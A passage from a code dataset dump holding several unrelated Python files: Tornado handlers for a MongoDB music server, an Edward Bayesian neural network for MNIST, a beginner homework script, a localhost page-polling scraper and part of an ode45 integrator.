\"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass AlbumAlphaHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\talbal = viewsdb.albalpha.find_one({}, {'albalpha':1, '_id':0})\n\t\talbal = albal['albalpha']\n\t\tself.write(dict(albal=albal))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass AlbumInfoHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef _get_alb_info(self, sel):\n\t\talbinfo = [alb for alb in viewsdb.albumView.find({'Page': sel}, {'_id':0})]\n\t\treturn albinfo\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\talbs = yield self._get_alb_info(p['selected'][0])\n\t\tself.write(dict(albs=albs))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass SongAlphaHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tsongal = viewsdb.songalpha.find_one({}, {'songalpha':1, '_id':0})\n\t\tsongal = songal['songalpha']\n\t\tself.write(dict(songal=songal))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass SongInfoHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef _get_song_info(self, sel):\n\t\tsonginfo = [song for song in viewsdb.songView.find({'Page': sel}, {'_id':0})]\n\t\treturn songinfo\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tsong = yield self._get_song_info(int(p['selected'][0]))\n\t\tself.write(dict(song=song))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass ImageSongsForAlbumHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get_pic(self, aquery):\n\t\tpicid = db.main.find_one({'AlbumId':aquery}, {\"_id\":0, \"PicId\":1})\n\t\tpoo = pdb.pics.find_one({\"PicId\":picid[\"PicId\"]}, {\"_id\":0, \"Smallthumb\":1})\n\t\treturn poo[\"Smallthumb\"]\n\t\t\n\t@tornado.gen.coroutine\n\tdef getsongsongid(self, a_query):\n\t\tfoo = {}\n\t\tfoo['thumbnail'] = yield self.get_pic(a_query)\n\t\tfoo['songs'] = [(t['Song'], t['SongId']) for t in db.main.find({'AlbumId':a_query}, {'Song':1, 'SongId':1, '_id':0})]\t\t\t\n\t\treturn foo\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tsongs = yield self.getsongsongid(p['selected'][0])\n\t\tself.write(dict(getimgsonalb=songs))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass PathArtHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get_file_info(self, asongid):\n\t\treturn db.main.find_one({'SongId': asongid}, {'_id':0})\n\t\n\t@tornado.gen.coroutine\n\tdef get_pic_info(self, a_picid):\t\t\n\t\treturn pdb.pics.find_one({'PicId':a_picid}, {'_id':0, 'Smallthumb':1})\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tselected = p['selected'][0]\n\t\tfileinfo = yield self.get_file_info(selected)\n\t\t#picinfo = yield self.get_pic_info(fileinfo[\"PicId\"])\n\t\t#fileinfo['Smallthumb'] = picinfo['Smallthumb']\n\t\tself.write(fileinfo)\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass AllPlaylistSongsFromDBHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef _get_songs_for_playlist(self, aplid):\n\t\ttry:\n\t\t\tfor playlist in db.playlists.find({'playlistid': aplid}):\n\t\t\t return [[pl['Song'], pl['SongId']] for pl in playlist['songs']]\n\t\texcept KeyError: return []\n\t\texcept TypeError: return []\n\n\t@tornado.gen.coroutine\t\t\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\ttaz = yield self._get_songs_for_playlist(p['playlistid'][0])\n\t\tself.write(dict(taz=taz))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass StatsHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef _get_stats(self):\n\t\treturn db.ampnado_stats.find_one({}, {'_id': 0})\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tstats = yield self._get_stats()\n\t\tself.write(dict(stats=stats))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass AddPlayListNameToDBHandler(BaseHandler):\n\t@tornado.gen.coroutine\t\n\tdef _insert_plname(self, pln):\n\t\tdb.playlists.insert({'playlistname': pln, 'playlistid': str(uuid.uuid4().hex)})\n\n\t@tornado.gen.coroutine\n\tdef _get_playlists(self):\n\t\treturn [{'playlistname': pl['playlistname'], 'playlistid': pl['playlistid']} for pl in db.playlists.find({})]\n\n\t@tornado.gen.coroutine\t\t\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tyield self._insert_plname(p['playlistname'][0])\n\t\tpls = yield self._get_playlists()\n\t\tself.write(dict(pnames=pls))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass AddSongsToPlistDBHandler(BaseHandler):\n\t@tornado.gen.coroutine\t\n\tdef insert_song_into_playlist(self, a_song_name, a_songid, a_plid):\n\t\tsong = db.main.find_one({'SongId': a_songid})\n\t\tplaylist = db.playlists.find_one({'playlistid': a_plid})\n\t\ttry:\n\t\t\tplaylist['songs'].append(song)\n\t\t\tdb.playlists.update({'playlistid' : a_plid},\n\t\t\t\t{'playlistname' : playlist['playlistname'], 'playlistid' : a_plid, 'songs' : playlist['songs']})\n\t\texcept KeyError:\n\t\t\tplaylist['songs'] = [song]\n\t\t\tdb.playlists.update({'playlistid': a_plid},\n\t\t\t\t{'playlistname' : playlist['playlistname'], 'playlistid' : a_plid, 'songs' : playlist['songs']})\n\n\t@tornado.gen.coroutine\t\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tyield self.insert_song_into_playlist(p['songname'][0], p['songid'][0], p['playlistid'][0])\n\t\tself.write(\"Insertion complete\")\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass AddRandomPlaylistHandler(BaseHandler):\n\t@tornado.gen.coroutine\t\n\tdef create_random_playlist(self, aplname, aplcount):\n\t\tpl = {}\n\t\taplcount = int(aplcount)\n\t\tids = db.main.distinct('_id')\n\t\trandom.shuffle(ids)\n\t\trandom_ids = random.sample(ids, aplcount)\n\t\tnew_song_list = []\n\t\tfor r in random_ids:\n\t\t\tsongs = db.main.find_one({'_id': r}, {'_id':0})\n\t\t\tnew_song_list.append(songs)\n\t\trandom.shuffle(new_song_list)\n\t\tpl['songs'] = new_song_list\n\t\tpl['playlistname'] = aplname\n\t\tpl['playlistid'] = str(uuid.uuid4().hex)\n\t\tdb.playlists.insert(pl)\n\t\treturn [{'playlistname': pl['playlistname'], 'playlistid': pl['playlistid']} for pl in db.playlists.find({}, {'_id':0})]\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tcreate_random_playlist = yield self.create_random_playlist(p['playlistname'][0], p['playlistcount'][0])\n\t\tself.write(dict(plists=create_random_playlist))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass CreatePlayerPlaylistHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef _make_playlist(self, a_plid):\n\t\tplaylist = db.playlists.find_one({'playlistid':a_plid})\n\t\tfart = []\n\t\ttry:\n\t\t\tfor pl in playlist['songs']:\n\t\t\t\tplp = pl['HttpMusicPath'].split('/', 1)\n\t\t\t\tplp = '/' + os.path.splitext(plp[1])[0]\n\t\t\t\tpicinfo = [p for p in pdb.pics.find({\"PicId\": pl[\"PicId\"]}, {\"_id\":0})]\n\t\t\t\tz = {\n\t\t\t\t\t'name': pl['Song'],\n\t\t\t\t\t'file': plp,\n\t\t\t\t\t'thumbnail': picinfo[0]['Smallthumb'],\n\t\t\t\t\t'album': pl['Album'],\n\t\t\t\t\t'artist': pl['Artist'],\n\t\t\t\t}\n\t\t\t\tfart.append(z)\n\t\t\treturn fart\n\t\texcept KeyError: return []\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tmakePL = yield self._make_playlist(p['playlistid'][0])\n\t\tself.write(dict(makePL=makePL))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass DeletePlaylistFromDBHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef _delete_playlist(self, plid):\n\t\tdb.playlists.remove({'playlistid': plid})\n\t\treturn u'Playlist Dropped From DB'\n\n\t@tornado.gen.coroutine\n\tdef get_pl_list(self, plid):\n\t\treturn [{'playlistname': pl['playlistname'], 'playlistid': pl['playlistid']} for pl in db.playlists.find({})]\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tyield self._delete_playlist(p['playlistid'][0])\n\t\tnpl = yield self.get_pl_list(p['playlistid'][0])\n\t\tself.write(dict(npl=npl))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass DeleteSongFromPlaylistHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef _get_rec_id(self, snameid):\n\t\trec_id = db.tags.find_one({'songid': snameid})\n\t\treturn rec_id['_id']\n\t\t\n\t@tornado.gen.coroutine\n\tdef _get_playlist_info(self, plname):\n\t\treturn db.playlists.find_one({'playlistname': plname})\n\n\t@tornado.gen.coroutine\n\tdef _delete_song(self, pl, rid):\n\t\tpl['songs'] = [asong for asong in pl['songs'] if asong['_id'] != rid]\n\t\tdb.playlists.update({'_id': pl['_id']}, {'$set': {'songs': pl['songs']}})\n\n\t@tornado.gen.coroutine\n\tdef _get_new_playlist(self, pln):\n\t\treturn [playlist['songs'] for playlist in db.playlists.find({'playlistname': pln}, {'songs.song':1, 'songs.songid':1})]\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\trec_id = yield self._get_rec_id(p['delsongid'][0])\n\t\tplist = yield self._get_playlist_info(p['playlistname'][0])\n\t\tyield self._delete_song(plist, rec_id)\n\t\tresult = yield self._get_new_playlist(plist['playlistname'])\n\t\tself.write(dict(result=result))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass ArtistSearchHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get_search(self, artsv):\n\t\tsearch = viewsdb.command('text', 'artistView', search=artsv)\n\t\treturn [{ 'artist': sea['obj']['artist'], 'artistid': sea['obj']['artistid'], 'albums': sea['obj']['albums']} for sea in search['results']]\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\twsearch = yield self.get_search(p['artsearchval'][0])\n\t\tself.write(dict(wsearch=wsearch))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass AlbumSearchHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get_search(self, albsv):\n\t\tsearch = viewsdb.command('text', 'albumView', search=albsv)\n\t\treturn [{'artist': sea['obj']['artist'], 'album': sea['obj']['album'], 'albumid': sea['obj']['albumid'], 'thumbnail': sea['obj']['Smallthumb'], 'songs': sea['obj']['songs'], 'numsongs': sea['obj']['numsongs']} for sea in search['results']]\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tysearch = yield self.get_search(p['albsearchval'][0])\n\t\tself.write(dict(ysearch=ysearch))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass SongSearchHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get_search(self, sv):\n\t\tsearch = db.command('text', 'main', search=sv)\n\t\treturn [{'artist': sea['obj']['Artist'], 'song': sea['obj']['Song'], 'songid': sea['obj']['SongId']} for sea in search['results']]\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\txsearch = yield self.get_search(p['searchval'][0])\n\t\tself.write(dict(xsearch=xsearch))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass RamdomAlbumPicPlaySongHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get_song_info(self, apid):\n\t\treturn db.main.find_one({'SongId':apid}, {'HttpMusicPath':1, 'Filename':1, 'PicId':1, 'Song':1, 'Album':1, 'Artist':1, '_id':0})\n\n\t@tornado.gen.coroutine\n\tdef get_pic_info(self, pid):\n\t\treturn pdb.pics.find_one({\"PicId\": pid['PicId']}, {\"_id\":0, \"Smallthumb\":1})\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tsongid = p['sid'][0]\n\t\tfoo = yield self.get_song_info(songid)\n\t\tboo = yield self.get_pic_info(foo)\n\t\tfoo['Smallthumb'] = boo['Smallthumb']\n\t\tself.write(dict(soho=foo))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass RandomPicsHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get_count(self):\n\t\treturn len([d['chunkid'] for d in db.randthumb.find({'displayed':'NOTSHOWN'})])\n\n\t@tornado.gen.coroutine\n\tdef get_chunk(self):\n\t\tt5 = db.randthumb.find_one({'displayed': 'NOTSHOWN'})\n\t\treturn t5['chunkid'], t5['chunk'], t5['displayed']\n\n\t@tornado.gen.coroutine\n\tdef update_db(self, aid):\n\t\tdb.randthumb.update({'chunkid': aid}, {'$set': {'displayed':'SHOWN'}})\n\n\t@tornado.gen.coroutine\n\tdef reset_displayed(self):\n\t\tRAND.create_random_art_db()\n\t\t\n\t@tornado.gen.coroutine\n\tdef get_rand_alb_list(self):\n\t\tcount = yield self.get_count()\n\t\tif count < 2:\n\t\t\tyield self.reset_displayed()\n\t\t\ttid = yield self.get_chunk()\n\t\t\tyield self.update_db(tid[0])\n\t\t\treturn tid[1]\n\t\telse:\n\t\t\ttid = yield self.get_chunk()\n\t\t\tyield self.update_db(tid[0])\n\t\t\treturn tid[1]\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\trs = yield self.get_rand_alb_list()\n\t\tart = []\n\t\tfor r in rs:\n\t\t\tx = {}\n\t\t\tpid = db.main.find_one({'AlbumId': r}, {'_id':0, 'PicId':1})\n\t\t\tace = pdb.pics.find_one({'PicId':pid['PicId']}, {'Smallthumb':1, '_id':0})\n\t\t\ttry:\t\n\t\t\t\tx['thumbnail'] = ace['Smallthumb']\n\t\t\texcept TypeError:\n\t\t\t\tprint(r)\n\t\t\t\t#x[\"thumbnail\"] = \"./static/images/noartpic.jpg\"\n\t\t\tx['songs'] = [(song['Song'], song['SongId']) for song in db.main.find({'AlbumId':r}, {'Song':1, 'SongId':1, '_id':0})]\n\t\t\tart.append(x)\n\t\tself.write(dict(rsamp=art))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\t\ndef main():\n\ttornado.options.parse_command_line()\n\thttp_server = tornado.httpserver.HTTPServer(Application())\n\thttp_server.listen(options.server_port)\n\ttornado.ioloop.IOLoop.instance().start()\n\t\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"ampnado/ampserver.py","file_name":"ampserver.py","file_ext":"py","file_size_in_byte":22403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"82737774","text":"import edward as ed\nimport matplotlib.pyplot as pl\nimport numpy as np\nimport tensorflow as tf\n\nfrom edward.models import Normal\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n# NeuralNetwork\ndef NeuralNetwork(Params):\n Out = tf.tanh(tf.matmul(X_Training, Params[\"W1\"]) + Params[\"b1\"])\n Out = tf.tanh(tf.matmul(Out, Params[\"W2\"]) + Params[\"b2\"])\n Out = tf.tanh(tf.matmul(Out, Params[\"W3\"]) + Params[\"b3\"])\n y = tf.nn.softmax(tf.matmul(Out, Params[\"W4\"]) + Params[\"b4\"])\n\n return y\n\n\nDatasets = input_data.read_data_sets(\"MNIST_data/\", one_hot = True)\nX_Training = Datasets.train.images\ny_Training = np.asarray(Datasets.train.labels, dtype = np.int32)\nX_Testing = Datasets.test.images\ny_Testing = np.asarray(Datasets.test.labels, dtype = np.int32)\n\nD = X_Training.shape[0] # Number of features\nN = X_Training.shape[1] # Number of data points\n\nIN = X_Training.shape[1]\nH1 = 10000\nH2 = 10000\nH3 = 100\nH4 = 10\n\n# Model\nParams = {}\nParams[\"W1\"] = Normal(\n loc = tf.zeros([IN, H1]), scale = tf.ones([IN, H1]), name = \"W1\")\nParams[\"b1\"] = Normal(loc = tf.zeros([H1]), scale = tf.ones([H1]), name = \"b1\")\nParams[\"W2\"] = Normal(\n loc = tf.zeros([H1, H2]), scale = tf.ones([H1, H2]), name = \"W2\")\nParams[\"b2\"] = Normal(loc = tf.zeros([H2]), scale = tf.ones([H2]), name = \"b2\")\nParams[\"W3\"] = Normal(\n loc = tf.zeros([H2, H3]), scale = tf.ones([H2, H3]), name = \"W3\")\nParams[\"b3\"] = Normal(loc = tf.zeros([H3]), scale = tf.ones([H3]), name = \"b3\")\nParams[\"W4\"] = Normal(\n loc = tf.zeros([H3, H4]), scale = tf.ones([H3, H4]), name = \"W4\")\nParams[\"b4\"] = Normal(loc = tf.zeros([H4]), scale = tf.ones([H4]), name = \"b4\")\n\nX = tf.placeholder(tf.float32, [D, N], name = \"X\")\ny = Normal(loc = NeuralNetwork(Params), scale = 0.1 * tf.ones(10), name = \"y\")\n\n# Inference\nqW1 = Normal(\n loc = tf.Variable(\n tf.random_normal([IN, H1]), name = \"qW1/loc\"),\n scale = tf.nn.softplus(\n tf.Variable(\n tf.random_normal([IN, H1]), name = \"qW1/scale\")))\n\nqb1 = Normal(\n loc = tf.Variable(\n tf.random_normal([H1]), name = \"qb1/loc\"),\n scale = tf.nn.softplus(\n tf.Variable(\n tf.random_normal([H1]), name = \"qb1/scale\")))\n\nqW2 = Normal(\n loc = tf.Variable(\n tf.random_normal([H1, H2]), name = \"qW2/loc\"),\n scale = tf.nn.softplus(\n tf.Variable(\n tf.random_normal([H1, H2]), name = \"qW2/scale\")))\n\nqb2 = Normal(\n loc = tf.Variable(\n tf.random_normal([H2]), name = \"qb2/loc\"),\n scale = tf.nn.softplus(\n tf.Variable(\n tf.random_normal([H2]), name = \"qb2/scale\")))\n\nqW3 = Normal(\n loc = tf.Variable(\n tf.random_normal([H2, H3]), name = \"qW3/loc\"),\n scale = tf.nn.softplus(\n tf.Variable(\n tf.random_normal([H2, H3]), name = \"qW3/scale\")))\n\nqb3 = Normal(\n loc = tf.Variable(\n tf.random_normal([H3]), name = \"qb3/loc\"),\n scale = tf.nn.softplus(\n tf.Variable(\n tf.random_normal([H3]), name = \"qb3/scale\")))\n\nqW4 = Normal(\n loc = tf.Variable(\n tf.random_normal([H3, H4]), name = \"qW4/loc\"),\n scale = tf.nn.softplus(\n tf.Variable(\n tf.random_normal([H3, H4]), name = \"qW4/scale\")))\n\nqb4 = Normal(\n loc = tf.Variable(\n tf.random_normal([H4]), name = \"qb4/loc\"),\n scale = tf.nn.softplus(\n tf.Variable(\n tf.random_normal([H4]), name = \"qb4/scale\")))\n\nInference = ed.KLqp(\n {Params[\"W1\"]: qW1},\n data = {X: X_Training, y: y_Training})\n# Inference.run()\n","sub_path":"BayesTheorem/NeuralNetworkMNIST.py","file_name":"NeuralNetworkMNIST.py","file_ext":"py","file_size_in_byte":3541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"15356284","text":"a = int (input ())\nb = int (input ())\nc = int (input ())\nif a / b == c:\n print (a, \"разделить на\", b, \"равно\", c)\nelse:\n print (a, \"разделить на\", b, \"не равно\", c)\nif a ** b == c:\n print (a, \"в степени\", b, \"равно\", c)\nelse:\n print (a, \"в степени\", b, \"не равно\", c)\n","sub_path":"2016-2017/Programming_HW1/programming_HW1_variant7.py","file_name":"programming_HW1_variant7.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"589137483","text":"# Function will determine the diference between 2 lists and out the diference in a list\nfrom bs4 import BeautifulSoup as bso # BS will allows us to parse HTML code\nimport threading # In the feature people that use this script will be able to set a time to run and it will be through this library\nimport requests # HTTP for humans!\n\n\ndef getListOfItems(): # Define initial list with the use of requests and BS, will return a set\n\n getInHtml = requests.get(\"http://127.0.0.1/index.html\")\n\n soup = bso(getInHtml.content, \"lxml\")\n\n initList = soup.find_all(\"div\", class_=\"inner-article\")\n\n return initList\n\ndef catch_new_item():\n \n initList = getListOfItems()\n \n while True:\n if initList == getListOfItems():\n print(\"No new items\")\n else:\n print(\"New items found\")\n secList = getListOfItems()\n result = list(set(secList) ^ set(initList))\n break\n return result\n \n\ndef main():\n print(catch_new_item())\n\nif __name__ == \"__main__\":\n main()","sub_path":"getNewItems.py","file_name":"getNewItems.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"546729880","text":"import scipy.integrate\nimport numpy as np\n\ndef ode_wrap(func,*args): # Required for odeint\n def func_wrapper(t,y):\n return func(y,t,*args)\n return func_wrapper\n\ndef ode45(f,tspan,y0,*args,**kwargs):\n \"\"\"Implements interface similar to MATLAB's ode45 using scipy\"\"\"\n\n #return ode45_old(f,tspan,y0,*args,**kwargs)\n\n # if len(tspan) == 2:\n # # TODO: Change hardcoding?\n # tspan = np.linspace(tspan[0],tspan[1],200)\n # t0 = tspan[0]\n # t1 = tspan[1]\n # yy = scipy.integrate.odeint(ode_wrap(f,*args),y0,tspan)\n # return (tspan,yy)\n #\n if len(tspan) == 2:\n # TODO: Change hardcoding?\n tspan = np.linspace(tspan[0],tspan[1],100)\n ## Superfast option below\n abstol = kwargs.get('abstol', 1e-6)\n reltol = kwargs.get('reltol', 1e-2)\n #r = scipy.integrate.ode(f).set_integrator('vode', method='adams', atol=abstol, rtol=reltol, order=4)\n r = scipy.integrate.ode(f).set_integrator('dopri5', atol=abstol, rtol=reltol)\n r.set_initial_value(y0, tspan[0]).set_f_params(*args)\n y_out = np.zeros((len(tspan), len(y0)))\n\n y_out[0,:] = y0\n # ctr = 1\n for ctr, t in enumerate(tspan[1:],1):\n if not r.successful():\n break\n # dt = tspan[ctr] - tspan[ctr-1]\n dt = t - tspan[ctr-1]\n y_out[ctr, :] = r.integrate(r.t+dt)\n # ctr += 1\n if not r.successful():\n raise RuntimeError('Integration failed!')\n return tspan, y_out\n\n\n# Source : http://www.sam.math.ethz.ch/~gradinar/Teaching/NumPhys/SomeTemplates/ode45.py\nfrom numpy import double, sign, finfo, array, zeros, dot, mod, size, inf, all, max, min, abs, mat\nfrom numpy.linalg import norm\nimport logging\n\ndef warning(type, string):\n logging.warning('warning: ' + type)\n logging.warning(string)\n\ndef error(type, string):\n logging.error('error: ' + type)\n logging.error(string)\n raise RuntimeError(string) # Raise error to notify shooting solver\n # exit\n\n# specify default arguments here:\n\n\ndef processOdeArgs(**kwargs):\n defaults = {'normcontrol': 'on', # ('on','off')\n # index array describing components that should be nonnegative\n 'nonnegative': None,\n # relative tolerance (can be array of same dimension as y0)\n 'reltol': 1e-5,\n 'abstol': 1e-5,\t\t\t# absolute tolerance\n 'outputsel': None,\t\t# which components to save\n # save output every outputsave steps\n 'outputsave': None,\n 'initialstep': None,\n 'maxstep': None,\n 'mass': None,\n 'stats': 'off'\t\t\t# statistics\n }\n\n if len(kwargs) > 0:\n for i in kwargs:\n defaults[i.lower()] = kwargs[i]\n\n # accept True instead of 'on' for certain options\n opts = ['stats', 'normcontrol']\n for o in opts:\n if defaults[o] == True:\n defaults[o] = 'on'\n\n return defaults\n\ndef ode45_old(vfun, vslot, vinit, *args, **kwargs):\n # test input types etc\n\n # process keyword arguments\n vodeoptions = processOdeArgs(**kwargs)\n\n # ensure vslot and vinit are row vectors\n vslot = array(vslot, ndmin=1)\n vinit = array(vinit, ndmin=1)\n\n # stepsize fixed if more than 2 values in vslot\n if len(vslot) > 2:\n vstepsizefixed = True\n else:\n vstepsizefixed = False\n\n # reltol: relative tolerance\n if vodeoptions['reltol'] == None and not vstepsizefixed:\n vodeoptions['reltol'] = 1e-6\n#\t\twarning ('OdePkg:InvalidArgument', 'Option \"reltol\" not set, new value %f is used'%vodeoptions['reltol'])\n elif vodeoptions['reltol'] != None and vstepsizefixed:\n warning('OdePkg:InvalidArgument',\n 'Option \"reltol\" will be ignored if fixed time stamps are given')\n\n # abstol: absolute tolerance. vector: tolerance for each component\n if vodeoptions['abstol'] == None and not vstepsizefixed:\n vodeoptions['abstol'] = 1e-6\n#\t\twarning('OdePkg:InvalidArgument', 'Option \"abstol\" not set, new value %f is used'%vodeoptions['abstol'])\n elif vodeoptions['abstol'] != None and vstepsizefixed:\n warning('OdePkg:InvalidArgument',\n 'Option \"abstol\" will be ignored if fixed time stamps are given')\n\n # normcontrol:\n if vodeoptions['normcontrol'] == 'on':\n vnormcontrol = True\n else:\n vnormcontrol = False\n\n # nonnegative: indices that should be nonnegative\n if vodeoptions['nonnegative'] != None:\n if vodeoptions['mass'] == None:\n 